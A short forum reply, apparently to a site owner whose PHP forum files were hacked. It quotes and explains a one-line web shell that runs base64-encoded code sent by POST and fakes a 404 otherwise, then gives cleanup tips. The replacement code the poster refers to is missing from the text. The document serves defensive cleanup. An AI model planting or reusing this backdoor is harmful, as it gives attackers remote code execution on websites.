Definitely, someone exploited your files...
That code means...
if(isset($_POST['e']))eval(base64_decode($_POST['e']));else die('404 Not Found');
So this just gets some code through POST vars and executes it.
Try this: edit that file and replace all it's code with
Then give that file read-only permissions (644).
It's not a definitive solution, but it might avoid the virus from appearing again.
Then check your files to see if you can find
gifimg on it's content, or some
base64_decode functions...
I suggest you to check common.php, includes/constants.php, includes/page_header.php..